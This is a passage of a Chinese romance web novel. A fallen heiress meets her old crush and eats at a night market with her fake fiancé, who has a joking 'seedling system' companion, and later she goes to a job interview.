就是这样的笑容让她一见倾心,在那么多年后仍记忆犹新。他走后不知过了多久,陈结君才听说那样一句话:有些人的眼睛就是看垃圾桶都深情。
周睿泽就拥有这样一双眼睛。
她正在愣神,胳膊被人捏紧,季潭看着她,眼里有说不清道不明的情绪,他说:“陈结君,走吧。”
陈结君看向敞开的电梯门,才发现他的手一直没有松开过。
“好久不见。”她朝周睿泽点点头,像偶遇一个多年未见的熟人一般,客气地打完招呼就分开,双方都体面。
但周睿泽好像不这么想,他说:“能借一步说话吗?”
陈结君顿了顿,笑道:“好啊。”
先离开的人都不怕,她又有什么不敢的。她对季潭道:“抱歉啊,要不你先回去吧,衣服我回头洗好了寄给你。”
“那你的衣服呢?”季潭拉着她的胳膊不放,侧头看她。
陈结君愣了一下,没想到他会问这个问题。她以为季潭会像之前送礼服那样吩咐人帮忙送过去,或者寄给她也行,这对他来说不是很简单的事吗?
不过转念一想,也对,他们的婚约还在,她在季潭的生日宴上丢下他只为了跟另一个男人叙旧,即便他们的婚约是假的,在外人看来也不像样,季潭的面子往哪放。
周睿泽看了眼季潭攥住她胳膊的手,又看着陈结君,笑道:“只是一小会,可以吗?”
他刚回国,这是两人分别多年后第一次见面,陈结君不想弄得太尴尬,毕竟当初分开也不是他的错。她看不清季潭的神色,只能小心翼翼地问:“那,能麻烦你等我一会吗?”
“当然。”季潭抿着唇,放开了她。
只有他知道这轻描淡写的松手对他而言有多难。
陈结君和周睿泽走到大堂另一头的园景旁,这里僻静又能让远处的季潭看见他们,是个说话的好地方。
季潭看着远处的两个人,忽然对系统道:“你是不是能听见他们说话?”
【宿主,我是育苗系统,不是恋爱系统,你不觉得你有点冒昧吗?】
“不觉得。”季潭顿了顿,忽然道,“如果她谈恋爱了,是不是会影响学习?”
【会的话,你想怎么做?让本系统介入,替你拆散他们?那男人一看就是她的老相好,他俩要是铁了心在一起,你就是想拆散也难。】
季潭只是盯着他们,一言不发。没有人比他更清楚陈结君喜欢上一个人有多坚定,她的眼里心里都不会再有别的男人,当年她就是这么对周睿泽的。
系统许久没听见他说话,好奇地喊了一声,【宿主,你在想什么?】
“我在想,今晚的烧烤是不是吃不上了。”
——————
角落里,周睿泽拿出手机按了几下,伸到陈结君面前,“加一下微信吧。”
陈结君这才想起,她换电话号码的时候连带着把微信号一起换了,当时周睿泽的师父不让他用电子产品,他们已经断联了一年多,她换号码的时候便忘了给他留言。
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“嘀”一声,两人的微信加上了,周睿泽又问她要电话号码,陈结君趁他低头打字时偷偷抬眼看他,这么多年不见,他到底还是有变化的,鼻梁更挺,脸部轮廓也更成熟,他似乎变得更自信,更开阔了。
“是不是觉得哥变帅了?”周睿泽抬手在她面前晃了晃,脸上笑意一如当年。
偷看被发现了!陈结君脸颊发烫,恨不得钻进地洞里。
“哟,小结还会害羞啊。”周睿泽抬手轻轻揉了揉她的发,眼里的温柔在月光下熠熠生辉。
陈结君抬头朝他笑,她现在好像在重温一个旧梦啊。如果是当年,这一幕会让她开心得一整晚都睡不着吧。
但现在,心跳应该加速了?
她有些分不清了。
分不清就扔一边先不管它,就当他是多年不见的老友,寒暄几句也好。陈结君问:“你什么时候回来的?”
周睿泽道:“前天,本来想去找你的,可是听说了一些事,他们说你现在离开陈家了,是真的吗?”
“是啊。他们说的几乎都是真的,狗血吧?”陈结君摸摸鼻子,笑着说,“这桥段放电视剧里都让人觉得老土,却实实在在发生在我身上。”
“没关系,在我这里你永远是大小姐。”周睿泽道,“不知道我有没有荣幸请大小姐吃个宵夜?”
“那你可来晚了,我已经有约了。”陈结君说着,回头看了眼季潭,他不知道什么时候从电梯口走到花坛边,离他们不远不近的距离。
能清晰的看见他们,但却听不清他们说话,是个安全的距离。
周睿泽随着她的视线看向季潭,又看了眼她身上的大衣,忍住想把那件大衣扯下来的冲动,低声道:“小结,他们说你跟季潭订婚了,这也是真的吗?”
“嗯,是真的。”
陈结君心虚地低下头,但她既然答应了季潭做他的假未婚妻就不会反悔,更不能把这件事告诉任何人。
周睿泽沉默了会,忽然笑道:“也对,你可是陈大小姐,怎么可能至今还单身呢。”
陈结君扯了扯嘴角,她还真的是单身,在他离开的这么多年里,除了一个被拉郎配的季潭,再没有人能走进她的世界。
“那,我就先走啦?”
周睿泽点头,道:“好。”
她刚走出几步路,周睿泽在身后喊她,“我下个月有画展,就在青城,你能来看吗?”
陈结君回头,对他挥了挥手,“放心吧,你的画展我一定去!”
这么多年了,他又离梦想更近一步,真好。
季潭靠着墙,正低头看手机,脸色看起来有些苍白,大堂门口的明亮灯光把他单薄的身影拉长,影子扭曲地映在墙上。
陈结君看着他身上的灰色西装背心和白衬衫,才意识到她居然把季潭仍在这里吹冷风,也不知道他怎么想的,竟还把衬衫袖子挽到了手臂上。
“你不冷吗?”陈结君说着脱下外套还给他。
“不冷。”季潭接过外套,又把她套在陈结君身上,见她想躲,眼神抑制不住暗下来,“怎么,怕心上人误会啊?”
他居然也知道她喜欢过周睿泽,一时间,陈结君有种秘密被人撞破的尴尬。但她的确喜欢过,虽然结果不怎么样,喜欢就要承认,她向来如此,于是她大方道:“对啊,被你发现啦?”
承认了。
季潭动了动唇,想笑,但笑不起来。
15. 我也摸到了
【宿主,你看起来有点可怜。但本系统还是要提醒一下,小树苗今天还有一节课漏上了,你赶紧想办法提醒她。】
“那我们的婚约怎么办?”季潭对系统的絮叨置若罔闻,不动声色地放慢脚步落后她半步,目光毫不掩饰地落在她身上,以前他就常这么看着她的背影,在她笑着奔向周睿泽的时候。
陈结君不明白他怎么又提起婚约,疑惑地回头看他一眼,道:“当然继续啊!我不是答应你了吗?”
“对了,你赊账不要太久,记得有钱了就给我发工资哦。”
“好。”季潭自嘲地笑了,他知道这样很卑劣,还是忍不住庆幸。
还好有婚约在,陈结君是个重承诺的人,她没那么快扔下他。
陈结君一上车就把外套脱下还给季潭,递过去的时候不知从哪掉下一个亮晶晶的东西,她弯腰捡起来,竟然是颗话梅糖。她惊讶道:“你大衣里怎么会有糖?”
季潭飞快拿过去,淡声道:“同事孩子的,可能被我随手放进来了。”
他顿了顿,又把糖递给她,“你吃吗?”
“谢谢。”陈结君拿过那颗糖,看见这个包装还有些怀念,她上学时有段时间很喜欢吃话梅糖,吃了不知道多少个牌子才终于选出这款味道最好的,入口后话梅的酸混着糖果的甜,好像一瞬间把她拉回了学生时期,她不由感叹道,“我以前也爱吃这个牌子的话梅糖,没想到这么多年了,味道居然没变。”
“好怀念当年啊,多好的年华,就这么一眨眼就过去了,如果能回到过去就好了。”
如果能回到过去,她一定在陈结梅出现前努力赚钱,靠自己的能力继续当个有钱到爆的富婆。想到这她就开心,扭头问季潭:“你呢?如果回到过去,你想做什么?”
“想做的事太多,就不做这样无谓的妄想了。”
陈结君想起季家的事,暗骂自己哪壶不开提哪壶,忙岔开话题:“诶对了,就前面左转那家,他们家的烧烤简直香飘十里,我每回路过都想着哪天能来试试,可惜事情多,总没机会来。”
季潭问:“你在忙什么?”
陈结君伸出一根食指摇了摇,道:“那可不能告诉你,发财的事说出来就不灵了!”
季潭忍着笑,顺着她的话说:“那就祝你发大财吧。”
“谢谢。”
夜市人多热闹,停车位也不好找,他们兜兜转转好几圈,才终于找到一个位置,就是有点偏,季潭的车又偏大一些,有点考验技术。好在他技术不错,稍微调整一下就把车停进去了,还停得方方正正的。
陈结君在一旁发出赞叹:“没想到啊,你开车技术这么好?”
夜市人多热闹,推着小摊叫卖的和形形色色的人以及车混在一起,空气中弥漫着食物被爆炒后散发出来的香气,季潭已经很久没来这样的地方了。他下意识把陈结君拉到左边,自己走在靠近车道的右边,随口道:“开得多自然就会了。”
“真好,不像我,到现在科目三还没过。”
“你在考驾照?”季潭挑眉,他知道陈结君作为被他选中的小树苗需要完成许多学习任务,考到证书才能让他获得积分,但没想到是什么证书都可以,竟连考驾照也包含在内。
还真是包罗万象啊。
陈结君的目光已经被沿途的烤鱿鱼、炸串、手抓饼等完全吸引,随口应了一声,便走到不远处对小摊前买了两根烤面筋,扭头问季潭:“你吃辣吗?”
季潭摇头,道:“能吃一点。”
陈结君要了两份微辣的。
卖烤面筋的老板娘打量了他们好几眼,又看了看四周,接着继续打量他们俩。她的行为太明显,陈结君露出疑惑的神色,正要询问,就见老板娘神秘兮兮地小声道:“美女,你们是不是在拍戏啊?”
陈结君一愣,虽然不知道她为什么这么问,但还是摇摇头。
老板娘道:“那我知道了,你们是网红吧?来拍美食视频的?你放心啊,阿姨这里的烤面筋那是劲道又实在,绝对量大又好吃!”
陈结君被她说迷糊了,忙解释道:“阿姨,我们不是拍视频的,你看我们摄像机都没带呢,手机也没开啊……”
“这、这样啊……”爆火梦被熄灭了,老板娘沉默片刻,还是忍不住用古怪的眼神看了她一眼,又扫了眼旁边的季潭,这回啥也没说,低头认真干活。
陈结君终于看清她的眼神,她这是在看他们的衣服,她才意识到自己居然穿着晚宴的礼服,带着满头造型和精致的妆容出现在夜市上,怪不得从她下车后就有许多目光看过来,还以为是季潭的颜值和车子太耀眼,原来是他们太格格不入了。
对于受过良好教育的他们而言,并不是衣着鲜亮才算体面,而是什么样的场合就该穿什么样的衣服,穿着晚礼服出现在夜市简直是社死!瞥了眼身旁衣冠楚楚的季潭,陈结君心里又觉得有点安慰,还好不止她一个出糗。
本着只要我不尴尬,尴尬的就是别人的心态,她裹紧了大衣,学着季潭淡漠的样子接过装着烤面筋的纸袋,礼貌地说了声谢谢。
眼前俩人虽然不是明星网红,但赏心悦目的人谁不喜欢,老板娘收了钱,兴高采烈地夸上一句“郎才女貌天作之合”。
陈结君正要否认,已经被季潭拉走了。
走了好几个摊位,陈结君已经从尴尬社死的心态转变为爱咋咋地的心态,季潭则一开始便神色如常,看不出他有没有尴尬过。两人每经过一个摊位,但凡陈结君多看两眼的,季潭便问她要不要,好像她是饿死鬼投胎一样。
走到烧烤店时,陈结君已经收获满满,除了臭豆腐,她几乎每样买了一点,以至于她觉得站在烧烤店门口的自己不是一个食客,更像进货的。她看了看烧烤店,又看了看手里的袋子,扭头对季潭道:“咱们还吃吗?”
“你不是想吃吗?”
两人还没进店里已经赚足了目光,眼尖的店员赶忙出来迎客:“帅哥美女晚上好,两位吗?”
季潭点头,拉着她走了进去。
店里不少喝酒的,聚餐的,满满当当围着大桌,像他们这样两个人的小桌不多,陈结君考虑到那一袋子吃的,只能克制地点了几串肉串和烤蔬菜,点完把菜单递给季潭,后者摇摇头,没什么想加的菜。
店员下去后,她打开袋子里的各式小吃,先拿了串烤面筋递给季潭,道:“试试,很好吃的。”
季潭接过来,看着手里红白相间,弯弯扭扭的东西,眉心动了动,面不改色地咬了一口。
陈结君知道他很少吃这些路边摊,紧盯着他的神色,问:“怎么样?”
又辣又咸。
季潭对上她亮晶晶的双眼,神色自若地咽下去,道:“还行。”
“那就好。”陈结君咬了口面筋,冲他眯眼笑道,“你应该很少吃吧?我还担心你不喜欢呢。”
季潭见她吃得满足,嘴角沾上来红油,随手抽了张纸巾递给她,问:“你经常吃吗?”
“那倒没有。”陈结君三两下解决了烤面筋,又塞了一小块绿豆糕进嘴里,说话有些含糊,“就是想起上学那会,我跟……”
她话没说完,猛地停下,她上学那会跟周睿泽去过学校附近的小吃街,那会家里管得严,她很少吃外面的食物,只记得当时看什么都想吃,最后把自己吃撑了,吃了不少消食片。
今天想起周睿泽的次数好像有点多了。
“跟谁?”
“跟周睿泽一起去的,就是刚才电梯遇见的那个人,你也认识他吧?我们同校。”陈结君回神,不好意思地笑笑,“然后我就吃撑了,被我妈念叨了好几天。”
季潭低声道:“我知道他。”
那天他去她的教室找她,恰巧看见她和周睿泽走在一起,她在跟他说话,好像笑得很开心,他们经常这样,每回看见,他都会不由自主避开。
但那次没有,他远远地跟在他们身后,看着他们去了小吃街,看他们有说有笑,看摊主打趣他们,看她羞红了脸。
【舔狗。】
季潭眼皮一颤,从回忆中抽离,听见系统的吐槽。
【舔狗——是当今流行的网络词汇,特指为了心爱的人可以无底线做任何事的人群。本系统认为这
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个词很适合你。】
“滚。”季潭在心里默默回了系统一个字,再抬眼看陈结君时,却忍不住自嘲地想,它说得也没错。
季潭认识周睿泽也不奇怪,毕竟当年周睿泽和他都是学校的男神级别,只是很少看见他们走在一起。
“也对,你们在学校都很有名。”陈结君笑着说,“有一次你们同时出现在运动会上,我同桌兴奋得恨不得把自己劈成两半,一半给你当拉拉队,另一半为周睿泽加油。”
“那你呢?”
陈结君笑着摇摇头,“我?我可是我们班的拉拉队队长,当然是为你加油啦!”
菜上桌了,陈结君拿起一串羊肉,就听见季潭低声说了句“骗子。”
声音太小,而周遭太嘈杂,以至于她怀疑自己幻听了,问:“你说什么?”
季潭看着被她捏在手里的羊肉串,油汁顺着竹签往下滑,眼看就要碰着她白嫩的手,他抽了张纸巾递过去,淡声道:“没什么。”
他不想再谈任何有关周睿泽的事,便把话题拉到眼下,“后天我要飞巴黎,你……有什么想要的吗?”
“啊?”陈结君一下没反应过来,想了想,迟疑道,“你要帮我代购?”
脑回路总这么清奇,季潭笑着逗她:“我时薪很高的。”
陈结君也反应过来他是想给自己带礼物,眨眨眼笑起来:“那季总免费给我带,是作为冒名未婚妻的福利吗?”
“不是。”
“啊?”陈结君茫然。
“你不是冒名顶替,至少在三个月内,你就是我的未婚妻。”
“严谨!”陈结君朝他竖起大拇指,不知是不是他说这句话时眼神太坚定,她不自在地挪开了目光,看向桌上的小龙虾,“吃虾,吃虾!”
这家店的厨师手艺确实好,小龙虾做得鲜美极了,她一个接一个,不知不觉一盘就见了底,再抬头时才发现,季潭面前的桌子只有一小撮虾壳,而她面前的虾壳堆积如山,再看盘子里仅剩的一只小龙虾,她默默缩回了手,干笑了声,“你吃,你吃。”
“你吃吧,我不喜欢吃这个。”季潭说着,又抽了张纸给她,示意她擦擦嘴角的酱汁。
不喜欢的话吃一个就不会再吃了,可他吃了好几个,说不喜欢是想给她台阶下。陈结君有点尴尬,虽说她对季潭的伙伴情清清白白日月可鉴,但对方到底是个颜值逆天的异性,她就这么炫了一大盘小龙虾,不给人留一个是不是有点太过分了?
这么一想,盘子里这只小龙虾她是怎么也下不了口了,她想让季潭把这只吃了,一开口却打了个响亮的嗝。
就连隔壁开怀畅饮的大叔都回头看了一眼。
陈结君:“……”
如果此刻有地洞,她希望能钻回家里。
季潭动了动唇,把前半生难过的事情都想了个遍才勉强忍住了笑,陈结君从小就爱面子,他这会要是笑了,接下来好几个月都别想再见到她。
陈结君再没心思吃东西,鹌鹑似的把头埋得低低的,跟在季潭身后匆忙上了车,她实在太过社死,一路上死死盯着窗外,不敢往季潭那边看,生怕瞧见他在笑。
她不会再吃小龙虾了,不管它有多好吃,她也不会再吃了,这辈子都不会了……
陈结君魂不守舍地下车朝门口走,季潭叫住她。
他没穿大衣就下了车,白衬衫被夜风吹得猎猎作响,他逆着风朝陈结君走来,在她不解的眼神里伸出手,轻轻地放在她头上,笑了。
陈结君被他的笑容晃了眼,很快回过神,疑惑道:“你干嘛?”
“没什么。”夜色里,他的眼睛亮亮的,“我也摸到了。”
“摸到……什么?”陈结君觉得莫名其妙,季潭其实只是很轻很轻地碰了下她的发丝,这样就笑了?
还说摸到了,什么意思?
“难道我头上有金子?”陈结君双手抱头,除了浓密的头发什么也没摸到。
季潭被她逗笑,道:“金子没有,枯叶子倒是有一片。”
陈结君放下手,问:“哪呢?”
“扔了。”
16. 神奇礼物
“你说什么?你俩昨晚一起吃宵夜了?!”张屿的娃娃音和游戏双杀的背景音一同穿过手机,传进陈结君耳朵里。
陈结君默了默,看着直播间满屏的问号,道:“你关麦了吗?”
果然,下一秒张屿就“呀”的一声,跟粉丝解释几句,紧接着传来开关被按动的声音,片刻后,张屿松了口气,道:“还真忘了关麦,幸好你提醒我了。你不是要解除婚约吗?怎么又一起吃宵夜了,什么情况?”
“婚约暂时不解除了,回头再跟你解释。”陈结君刚洗完澡,坐在沙发上打游戏,手机摁了免提。
“那你说季潭他不但没提解除婚约的事,还愿意陪你吃宵夜,是不是对你有点意思啊?”
陈结君想起昨晚那个响亮的嗝,毫无灵魂道:“他可能是觉得我有点意思吧。”
“那不还是一个意思么?”张屿来了兴致,“他要是真对你有那个意思,你就适当考虑一下呗。先不提他的千亿身家,光是那张脸,谈一次你也不吃亏!”
张屿话音刚落,陈结君的屏幕就灰了。
张屿惊呼:“诶宝宝,你怎么死了?”
陈结君看了眼墙上的熊猫钟,又把视线落在屏幕上,直播间正一片沸腾,大骂张屿找了个猪队友,到处送人头。她把直播关了,撇了撇嘴,道:“岛啊,还是别胡思乱想了。他喜欢我的概率比我上王者还要低。”
张屿道:“不会吧,我反正觉得他对你是有那个意思的。要不咱俩打个赌?”
“算了吧,我怕你输得太惨。”
张屿不服气:“陈小君,你怎么能对自己的魅力这么没信心,这可不像我认识的你啊,这么快就被贫穷磨平棱角了?”
陈结君翻了个白眼,右手操纵着游戏里的角色小心翼翼地躲进草丛,“你知道他昨晚送了我什么吗?”
“他还送你礼物了?!什么礼物?项链?珠宝?豪车?”
项链他倒是送了,但那一看就是给她撑场子用的,要说季潭真心送她的礼物嘛,呵!
昨晚季潭走之前给了她一个袋子,她还以为是打包的宵夜或者牛排,结果回到家一看,是一本比字典还厚的书——《学霸速成手册》
这事太魔幻了以至于她怀疑季潭拿错了,但过不了多久就收到季潭的微信。
“书看了吗?”
“有不懂的可以问我。”
陈结君觉得天都塌了,原来之前那个发图书馆照片的陌生好友就是季潭,她居然忘了备注!
赶忙把备注添上,她心想,俩人加上好友后就没发过微信,这会季潭发微信就为了问她有没有看书?!
陈结君想了很久终于得出结论,这本书就跟他送的礼服和珠宝首饰一样,都是为了让她配得上“季潭未婚妻”这个头衔。
礼服和珠宝她很受用,但这本书……不得不说,她更喜欢,因为翻开一看,里面居然是季潭的字迹,他居然亲自给她写了本笔记?!
这说明什么?说明他真的很看不上她的学识啊!
这能是喜欢?
正常人喜欢女孩子能送她这玩意儿?
如果说在这之前她潜意识里有那么一丝丝的季潭对她有好感的想法,那么从看见这本书开始,这想法就像灰烬中的最后一缕烟,刚飘起来就散了。
张屿还在追问,陈结君回过神,淡声道:“学霸速成手册。”
“啥?是什么新的潮牌吗,名字挺特别的。”
“低俗!我们季总是会买潮牌的人吗?”
张屿认同道:“你说得对,感觉他出手就得上百万。所以,这是哪位著名设计师的新作?”
想到季潭昨晚的赊账行为,陈结君干笑几声,道:“是季总的新作,教我如何快速成为学霸的一本书。我很喜欢。”
比那些几十上百万的珠宝和礼服强多了,毕竟那些是季潭给她撑场面的东西,就算要卖也得三个月后才卖得出去。这么贵的东西不知道她挂咸鱼上能不能找到买家……一会游戏结束就先挂上,写明三个月后才能出售就成,还能看看行情。
她真是个小天才!
角色死亡的音效响起。
陈结君回过神,还以为自己死了,结果她好好躲在草丛里,而张屿正躺在大路上,被敌人踩来踩去。
陈结君:“……”
“还好没有跟你赌,谢姐妹不杀之恩!”
陈结君笑道:“好说好说,毕竟是亲闺蜜。”
“亲闺蜜?”张屿开始阴阳怪气,“你上次说要感谢张尔尔给你送药,特意约了人家喝咖啡,最后约成了吗?约完还爱我吗?”
“爱爱爱!”陈结君道,“早见过面了,其实她人挺好的,下回咱们仨约出来一块玩怎么样?”
“不行!”张屿果断拒绝,“三个人的友谊太拥挤,陈桑,请你自重。”
“那我一三五跟你,二四跟她怎么样?”
“周末呢?”
“周末我要学习。”
张屿冷笑:“学习如何成为学霸么?”
“不,先学点面试技巧。”陈结君道,“我决定去上班了。”
“什么?!”张屿尖叫,“你要去上班?!”
陈结君划屏幕的手一顿,屏幕又灰了,这会她跟张屿都死了。
“小岛,我有预感,你要掉粉了。”
张屿却顾不上掉粉的事,一叠声问:“你去哪上班?青城有点实力的公司哪家不知道你的身份?哪家老总没听过你的威名?还记得你拳打千金,脚踩富少爷的那些年吗?信不信你连面试都过不了?”
“你说得有道理。”陈结君摸摸下巴,道,“要不我挨个揍过去?”
张屿默了默,问:“你什么时候面试?我给你找几个男模,在楼下唱首祝你平安吧。”
“……”
陈结君道:“我谢谢你,但你可能要失望了,我找了一家公司,已经通知面试了。”
张屿笑着问:“哪家公司这么虎,敢收你这尊大佛啊?”
陈结君倒了杯柠檬水,淡淡道:“一个师姐创业开的公司,规模小。”
“规模小会不会更危险,万一被那些小心眼针对……”
陈结君喝了口柠檬水,皱皱眉头,才想起忘了加蜂蜜,听了张屿的话却笑了,“正因为规模小,才敢要我。”
她舀了两勺蜂蜜放进去,用勺子轻轻搅拌,看着变得有些浑浊的柠檬水,淡声道:“昔日不可一世的大小姐,现在只能住老破小,去一家几十人的小公司工作,这不比言语嘲讽更令他们感到快意?”
张屿哑然,她心里知道陈结君说得没错,这帮人不就想看曾经的陈大小姐从高位跌落,能轻易被自己踩在脚下吗?她语气忿忿:“没事啊宝贝,大不了不工作了,我养你!”
陈结君被她逗乐:“你偷电瓶车
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养我啊?”
“都什么时候了你还贫!”张屿恼怒的声音传来,“你是不是缺钱了?是不是那些人又逼你了?”
“没有。我哪能被他们拿捏啊。”陈结君听出张屿语气中的担忧,轻声解释,“我只是觉得不能再无所事事了,人可以躺平,但总不能到了绝境还一动不动地躺着吧?”
“真是难为你了。你等着,我一定努力直播,赚钱养你!”
陈结君想到系统,笑着说:“谁养谁还不一定呢。”
“哟,这么有信心?”
“还行吧,到时候给你买栋大别野!”
“我给你买大游艇!”
“还是张老板阔气!”
“好说好说!”
两人贫了几句,见天色不早才挂了电话。
陈结君盯着不远处的书放空,其实她离开陈家后就想过要找工作的,但她几乎没有正经上过班,而小岛说的也正是她的顾虑,大公司不要她,小公司她不想去,因为会被笑话。
她一直在有意无意地逃避。
直到和季潭送给她这本书,看到书的一瞬间,她突然就想起他的遭遇,那些年她就像个局外人看着季潭大起大落,看他从一个贵公子变成了无父无母的孤儿,看他被赶出国外,她以为他不会再出现了。
可就是这样一个一无所有,狼狈退场的人,几年后不但回来了,还成了她的未婚夫。
季潭可以,她为什么不行!
陈结君一瞬间好像被注入了莫名的力量,季潭不也曾跌落神坛吗?可他现在不仅重新站在高处,还暗示她多读书,不然配不上假未婚妻的身份,这能忍?!
这绝不能忍!
她想起前两天刷到过师姐创业的朋友圈,连夜做了简历发给师姐。她学的就是工程专业,倒不是多喜欢,只是那会听说工程专业帅哥多,随手就选了。
这位师姐和她不同,她是真心喜欢这个行业,大酷暑的还能在工地待一整天,结果因为中暑被抬走了……原以为冲动之下投的简历会被婉拒,没想到今天居然收到了面试通知,无论如何,这次面试她要努力拿下。
其实她心里也有自己的小算盘,她看过了,工程类的证书含金量都挺高的,系统给的奖励金要比其他证书多一倍,但她从一开始就把这类证书给划掉了。
因为难。
她的大学生涯纯靠混,混到最后擦着分数线拿到的毕业证。现在要她考,跟要她重新上一遍学没啥区别,但她毕竟学过,如果能做相关的工作,再去考这些证书或许会简单一些。
面试定在后天一早,她这两天恶补了不少,当天化了淡妆,扎了个马尾,穿上白衬衫和小西服,精神百倍地出发了。
四十分钟后,陈结君站在青城最大的金融大厦──旁边的写字楼前。
保安是个中年大叔,听说她是来面试的,问了几句就放她进去了,这个点上班的人多,写字楼的电梯排起了长龙,陈结君站在队末,心想还好早到了二十分钟,不然就要迟到了。
听说迟到是面试的大忌,会直接被人事pass。
她可不想千里迢迢过来,连话都没说几句就被赶出去。
闲着没事干,陈结君打开手机搜索这家公司,想复习一下这家公司的基本信息,没过多久后背被人轻轻戳了一下。
一道细细的声音传来。
“你也是来面试的?”
17. 一起走吧
说话的是个五官清秀的女孩,穿着厚毛衣,一头棕色的羊毛卷,整个人看起来暖洋洋的,这会正偷眼看她,似乎很不好意思。
陈结君朝她友好地笑笑,“是,你呢?”
女孩似乎受到鼓舞,笑容放松了,说话声音也大了点:“我也是,真巧。我叫龙铃,你呢?”
“你好,我叫陈结君。”
陈结君一路上和她有一搭没一搭地聊着,龙铃话很多,什么都能聊一些,短短半小时内,陈结君就知道她是大学刚毕业的,学的是土木工程,和她的外表格格不入。
两人被前台带进一间会议室,里面已经坐了几个面试者,陈结君大致扫了一眼,每个人都穿着正式,看起来很有面试经验的样子。陈结君看了几眼,用胳膊肘碰碰龙铃,小声问:“你面试过吗?有什么经验分享一下?”
“我、我也是第一次。”
陈结君偏头看她,发现她额间竟渗出了细密汗珠,不由安抚道:“没事的,面着面着就有经验了。”
看龙铃这样,她反而不紧张了,大不了换一家公司。
这次面试似乎还要做笔试,陈结君观察到每个人进去的时间大约有半小时左右,轮到龙铃的时候,会议室只剩下陈结君和另一个衣着整齐的男人,两人无声对视一眼,各自移开目光。陈结君趁这点空刷了会题,没成想太入神,面试官喊了好几次都没发现,还是那个男人走过来敲了敲她的桌子,她才恍然回神,走进面试间。
龙铃正好走出来,朝她做了个加油的手势。
面试官有四个,师姐也在其中,见她进来朝她点点头。
陈结君坐在准备好的凳子上,深吸一口气,开始了人生第一次面试,几位面试官轮流发问,她都一五一十地答了,坐在师姐身边的人给了她一份试题,说是给十五分钟时间,能做多少是多少。
陈结君拿到卷子埋头就做,试题不算难,但要在最快的时间里抓住题眼不容易,她感觉才没做多久,面试官就敲铃了。
走到公司楼下时,她收到师姐发来的消息,说今天表现不错,但她还有工作,下次再一起喝咖啡。张屿也踩点给她发了消息,问面试怎么样。
陈结君挑眉,停在大门边一一回了消息,跟张屿插科打诨了几句,谁知天色竟暗了下来,像要下雨。
她赶紧往公交站赶,青城的天说变就变,不她还没跑几步,大雨随着几声闷雷倾盆而下,逼得她不得不退回去。
她站在门口等了会,雨势没有减弱的趋势,偏偏她今天为了面试在十几度的天穿了正式的白衬衫,和西装外套,淋雨的话又要感冒了。
她果断拿起手机叫车,结果等了半天没有出租车接单,写字楼的伞早被本楼员工借完了,她只好靠在门边干等,好在还有几个跟她一起的倒霉蛋,她也不算太显眼。
只是人多拥挤,她又是中途跑回来的,这会站在最外围,纯粹是替里边的人挡风。有几位男士想展示一下绅士风度,示意她往里走,陈结君摆摆手,大家都没伞,她进去了,人家就得淋雨,更何况下一步很可能就是加微信环节了。
倒不是她自恋,只是这样的事已经发生过无数遍,因为先接受了旁人的好处,后边拒绝的时候难免多出几分愧疚感,倒不如一开始就不要接受。
风带着初春的凉意夹着雨水呼啸而来,陈结君侧过头,捋了捋被吹乱的刘海,西装外套沾了点雨,她正要退回写字楼里,一把黑伞举过她的头顶,替她挡了飘过来的雨水。
陈结君眯着眼抬头,大半视线被雨伞挡住,她只看见来人棱角分明的下颌线。但她认出了那双堪称人间极品的手……上面戴着的订婚戒指。
季潭挡在她身前,把风雨完全隔绝在外,才收了伞,露出那张俊美的脸。陈结君愣愣地看了他好几秒,发现他今天没戴眼镜,黝黑的眼像被雨水洗过一般,清澈透亮,清晰地倒影出她的身影。
附近就是深蓝科技的总部,季潭出现在这里也不奇怪,她随手擦了擦眼睛的雨水,朝他露出笑容:“好巧。”
季潭的目光在她脸上留连片刻,抬手朝她头上探去,陈结君以为他又要摸头,下意识往后躲了一下。
手停在半空,季潭抿唇,看了她一眼。
陈结君敏锐地察觉到他的情绪,想不明白这人怎么总爱摸头,难道是因为婚约,又要开始做戏了?
但陈结君不太喜欢被摸头,特别是季潭个子高,让她有种他在摸路边小猫的既视感。但……她余光瞥见周围的人,又考虑到两人的合作关系和他的金主身份,不就是摸个头嘛……她就当自己是一只猫呗!
猫多好,如果有下辈子,她很乐意做一只猫。
在季潭死亡凝视的下一秒,陈结君讪笑着握住他停留在半空中的手腕,往自己头顶一放。
从季潭抬手到手被握住放在陈结君头顶也就十几秒的功夫。
她的手凉得像块冰,隔着外套握住他手腕时,季潭的手腕微不可察抖了一下,他轻轻抬手下移,在陈结君疑惑的目光中拨开她湿答答的刘海,露出光洁的额头。
陈结君顿时闹了个大红脸,什么嘛,根本不是要摸头!
明明是清清白白想配合一下金主而已,倒显得她此刻像个自作多情的傻子。
陈结君觉得尴尬,又若无其事地扒拉两下刘海,然而语气还是暴露了她的恼意:“你碰我刘海做什么?这都是我精心设计的造型!”
难得见她这副模样,季潭勾唇,忍不住逗她:“哦,往额头贴条形码是你精心设计的造型?”
“精心设计”四个字被加了重音,一个字化作一把利剑往她心里插,陈结君的尴尬情绪一扫而空,气恼地瞪着他,“季总嘴皮子真利索,那晚求我合作的时候怎么没发现呢?”
“你生气了?”
陈结君避开他的目光,把头扭向一边:“没有!”
那就是有,他解释:“我开玩笑的。”
陈结君语气凉凉:“谢谢,一点也不好笑。”
季潭俯身凑近了看她,“真生气了?”
骤然放大的俊脸让她呼吸一窒,目光在他淡红的唇上划过,陈结君脸颊发热,来不及细想一巴掌按住他的额头把他推开,窘迫道:“没、没生气,你站远点。”
季潭无奈地笑:“我再站远点就要淋雨了。”
他看了眼逐渐变小的雨,随意道:“我让司机把车开到地下车库了,一起走吧?”
再不走雨就要停了。
陈结君侧身绕过他看外头的雨,还没看清就被抓住手腕,季潭催促:“走吧,我正好找你有事。”
陈结君坐进车里,礼貌地跟司机打了声招呼,偏头去看季潭。车里开了暖气,他已经脱了外套,不知从哪摸出一副眼镜戴上,身上穿着一件缎面的白衬衫,这样的料子其实很挑人,一个穿不好就会显黑显土,穿在他身上却贵气逼人,优越的脸型,还有高挺的鼻梁和金边眼镜,陈结君在心里感叹:真是绝了,不愧是从小养尊处优的大少爷。
季潭注意到她的目光,扭头看她,“怎么了?”
陈
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结君坦然称赞道:“没什么,就觉得你穿这件衣服挺好看的。”
季潭撇开眼,视线扫过她略显苍白的唇色,低声吩咐司机把暖气开高一点。
黑色轿车很快开出车库,陈结君这才发现雨已经停了,看了眼正闭目养神的季潭,斟酌了会,道:“季总,雨已经停了,我可以自己坐车回去,就不麻烦你了。”
季潭睫毛一抖,刚阖上的眼又睁开一天缝,不咸不淡地瞟了她一眼,“不麻烦。”
深蓝科技有一个别称,叫工作狂欢聚地。这个威名在青城是响当当的,作为卷中卷的季潭怎么可能真的有空送她回家?
